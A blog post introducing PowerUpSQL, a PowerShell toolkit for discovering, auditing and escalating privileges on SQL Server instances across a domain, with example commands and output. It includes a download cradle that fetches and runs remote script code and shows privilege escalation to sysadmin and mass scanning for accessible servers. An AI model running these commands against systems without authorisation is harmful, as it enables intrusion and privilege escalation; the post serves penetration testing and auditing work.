PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server

written by Scott Sutherland | July 15, 2016
In this blog I'll introduce the PowerUpSQL PowerShell module, which supports SQL Server instance discovery, auditing for weak configurations, and privilege escalation on scale. It primarily targets penetration testers and red teams. However, PowerUpSQL also includes many functions that could be used by administrators to inventory the SQL Servers on their ADS domain. Hopefully you'll find it as helpful as I do.

The PowerUpSQL project is currently available on GitHub and the PowerShell Gallery:

- https://github.com/NetSPI/PowerUpSQL
- https://www.powershellgallery.com/packages/PowerUpSQL/

For those of you who are interested in an overview take a peek at the rest of the blog.

Loading PowerUpSQL

Below are three options for loading the PowerUpSQL PowerShell module. Choose the one that works best for you.

1. **Install it from the PowerShell Gallery.** This requires local administrative privileges and will permanently install the module.

   ```
   Install-Module -Name PowerUpSQL
   ```

2. **Download the project and import the module.** This does not require administrative privileges and will only be imported into the current session. However, it may be blocked by restrictive execution policies.

```
Import-Module PowerUpSQL.psd1
```

3. **Load it via a download cradle.** This does not require administrative privileges and will only be imported into the current session. It should not be blocked by executions policies.

   ```
   IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
   ```

   Note: To run as an alternative domain user, use the runas command to launch PowerShell prior to loading PowerUpSQL.

   ```
   runas /noprofile /netonly /user:domain\user PowerShell.exe
   ```

PowerUpSQL Overview

I'm a bit of an SQL Server enthusiast and have written a few SQL Server attack scripts in the past. However, using the standalone scripts for attacking SQL Server is slow. Especially when they only support execution against one server at a time. So, I rolled most of my old work into this module, so performing SQL Server recon and privilege escalation attacks could be executed a little faster and on scale. I'm planning to continue to write functions for the module so hopefully it will get better over time. Luckily Antti Rantasaari and Eric Gruber have also been contributing some code to make my life easier.

Below is an overview of the key design objectives met by the version 1.0 release. A full list of available functions can be found in the readme.md of the GitHub project.

Easy Server Discovery

Blindly identify local, domain, and non-domain SQL Server instances on scale using discovery functions. The example below shows how to get a list of all of the SQL Servers with registered SPNs on the current domain.

```
PS C:\>Get-SQLInstanceDomain -Verbose
VERBOSE: Grabbing SQL Server SPNs from domain...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 35 instances were found.

ComputerName              : SQLServer1.domain.com
Instance                                        :
SQLServer1.domain.com\STANDARDDEV2014
DomainAccountSid                                :
150000052100012345671292182122204996811922123456
DomainAccount         : SQLSvc
DomainAccountCn       : SQLSvc
Service                       : MSSQLSvc
Spn                                             :
MSSQLSvc/SQLServer1.domain.com:STANDARDDEV2014
LastLogon                          : 6/22/2016 9:00 AM
Description        : This is a test SQL Server.

...[SNIP]...
```

Easy Server Auditing

Invoke-SQLAudit audits for common high impact vulnerabilities and weak configurations using the current login’s privileges. Also, Invoke-SQLDumpInfo can be used to quickly inventory databases, privileges, and other information.Below is an example showing how to dump a basic inventory list of common objects from SQL Server to CSV files.

```
PS C:\> Invoke-SQLDumpInfo -Verbose -Instance
"SQLServer1\STANDARDDEV2014"
VERBOSE: Verified write access to output directory.
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - START
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting non-
```

```
default databases...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
database users for databases...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
privileges for databases...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
database roles...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
database role members...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
database schemas...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
database tables...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
database views...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
database columns...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
server logins...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
server config settings...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
server privileges...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
server roles...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
server role members...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
server links...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
server credentials...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting SQL
Server service accounts...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
stored procedures...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting DML
triggers...
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 - Getting DDL
triggers...
VERBOSE:  SQLServer1.domain.com\STANDARDDEV2014  -  Getting
server version information...
```

```
VERBOSE: SQLServer1.domain.com\STANDARDDEV2014 – END
```

A collection of .csv files should now be ready for your review. Now let's take it a little further. Below is an example showing how to perform an audit for common high impact configuration issues. It only includes one issue for the sake of saving space, but hopefully you get the idea.

```
PS C:\> Invoke-SQLAudit -Verbose -Instance "SQLServer1\STANDARDDEV2014"

...[SNIP]...

ComputerName  : SQLServer1
Instance      : SQLServer1\STANDARDDEV2014
Vulnerability : Weak Login Password
Description   : One or more SQL Server logins is configured with a weak password.  This may provide unauthorized access to resources the affected logins have access to.
Remediation   : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy.
Severity      : High
IsVulnerable  : Yes
IsExploitable : Yes
Exploited     : No
ExploitCmd    : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.
Details       : The test (Sysadmin) is configured with the password test.
Reference                                                 : https://msdn.microsoft.com/en-us/library/ms161959.aspx
Author        : Scott Sutherland (@_nullbind), NetSPI 2016

...[SNIP]...
```

Note: You can also save the audit results to a CSV by using the OutFolder switch.

Easy Server Exploitation

Invoke-SQLEscalatePriv attempts to obtain sysadmin privileges using identified vulnerabilities. Also, this is essentially the name sake function for the module. I thought “PowerUpSQL” was a fun play off of the Windows privilege escalation script PowerUp by Will Schroeder.Below is an example showing an attempt to obtain sysadmin privileges on a SQL Server using Invoke-SQLEscalatePriv. By default it will return no output so that it can be used by other scripts. To view the results use the verbose flag.

```
PS C:\> Invoke-SQLEscalatePriv –Verbose –Instance “SQLServer1\Instance1”

VERBOSE: SQLServer1\Instance1: Checking if you're already a sysadmin...
VERBOSE: SQLServer1\Instance1: You're not a sysadmin, attempting to change that...
VERBOSE: LOADING VULNERABILITY CHECKS.
VERBOSE: RUNNING VULNERABILITY CHECKS.

...[SNIP]...

VERBOSE: COMPLETED ALL VULNERABILITY CHECKS.
VERBOSE: SQLServer1\Instance1 : Success! You are now a sysadmin!
```

Flexibility

PowerUpSQL functions support the PowerShell pipeline so they can easily be used together, or with other scripts. For example, you can quickly get a list of non-default databases from the local server.

```
PS C:\> Get-SQLInstancelocal | Get-SQLDatabase –Verbose –NoDefaults

ComputerName        : SQLServer1
Instance            : SQLServer1\STANDARDDEV2014
DatabaseId          : 7
```

```
DatabaseName        : testdb
DatabaseOwner       : sa
OwnerIsSysadmin     : 1
is_trustworthy_on   : True
is_db_chaining_on   : False
is_broker_enabled   : True
is_encrypted        : False
is_read_only        : False
create_date         : 4/13/2016 4:27:36 PM
recovery_model_desc : FULL
FileName               : C:\Program Files\Microsoft SQL
Server\MSSQL12.STANDARDDEV2014\MSSQL\DATA\testdb.mdf
DbSizeMb            : 3.19
has_dbaccess        : 1

...[SNIP]...
```

Scalability

This is the best part. Pipeline support combined with multi-threading via [invoke-parallel](#) ([runspaces](#)) allows users to execute PowerUpSQL functions against many SQL Servers very quickly. A big thank you goes out to Rambling Cookie Monster (Warren F) and Boe Prox for sharing their experiences with runspaces via blogs and GitHub. Without their work I would most likely have been stuck using PowerShell jobs. Blah.Below is a basic example showing how to identify a list of SQL Server instances that can be logged into on the domain as the current user. This is a short example, but most large organizations have thousands of instances.

```
PS C:\Get-SQLInstanceDomain –Verbose | Get-
SQLConnectionTestThreaded –Verbose -Threads 10

..[SNIP]...

ComputerName   Instance                    Status
------------   --------                    ------
Server1           Server1\SQLEXPRESS          Accessible
Server1           Server1\STANDARDDEV2014     Accessible
Server2              Server2\STANDARDDEV2008       Not
```

```
Accessible

..[SNIP]...
```

To make that command even more useful I recommend setting the output to a variable so you can quickly target accessible servers. Example below:

```
PS C:\ $Servers = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose –Threads 10 | Where-Object {$_.Status –eq “Accessible”}
```

Then you can run other functions against accessible servers very quickly via piping. For example, grabbing server information from accessible SQL Server instances.

```
PS C:\$Servers | Get-SQLServerInfo –Verbose

..[SNIP]...

ComputerName           : SQLServer1
InstanceName           : SQLServer1\STANDARDDEV2014
DomainName             : Domain
ServiceName            : MSSQL$STANDARDDEV2014
ServiceAccount         : LocalSystem
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 12.0.4213.0
SQLServerMajorVersion  : 2014
SQLServerEdition       : Developer Edition (64-bit)
SQLServerServicePack   : SP1
OSArchitecture         : X64Os
MachineType            : WinNT
OSVersionName          : Windows 8.1 Pro
OsVersionNumber        : 6.3
Currentlogin           : Domain\MyUser
IsSysadmin             : Yes
ActiveSessions         : 3

..[SNIP]...
```

Portability

Last, but not least, PowerUpSQL uses the .NET Framework sqlclient library so there are no dependencies on SQLPS or the SMO libraries. That also means you don't have to run it on a system where SQL Server has been installed. Functions have also been designed so they can be run independently.

Wrap Up

PowerUpSQL can support a lot of use cases that are helpful to both attackers and admins. As time goes on I'll try to write some follow up blogs that touch on them. In the meantime, I hope you like the module. Feel free to submit tickets in the GitHub repository if something doesn't work as expected. I'd love some constructive feedback.

Good luck and hack responsibly!

Thanks People!

Thank you NetSPI development team for letting me pester you with stupid questions. Big thanks to Eric Gruber, Antti Rantasaari, and Khai Tran for the brain storming sessions and code contributions. Of course, that really extends to the entire NetSPI team, but this blog is already too long.

References

- http://ramblingcookiemonster.github.io/
- https://blogs.technet.microsoft.com/heyscriptingguy/2015/11/26/beginning-use-of-powershell-runspaces-part-1/
- https://blogs.technet.microsoft.com/b/heyscriptingguy/archive/2015/11/27/beginning-use-of-powershell-runspaces-part-2.aspx
- https://blogs.technet.microsoft.com/b/heyscriptingguy/archive/2015/11/28/beginning-use-of-powershell-runspaces-part-3.aspx
- https://blogs.technet.microsoft.com/b/heyscriptingguy/ar

chive/2015/11/29/weekend-scripter-a-look-at-the-poshrsjob-module.aspx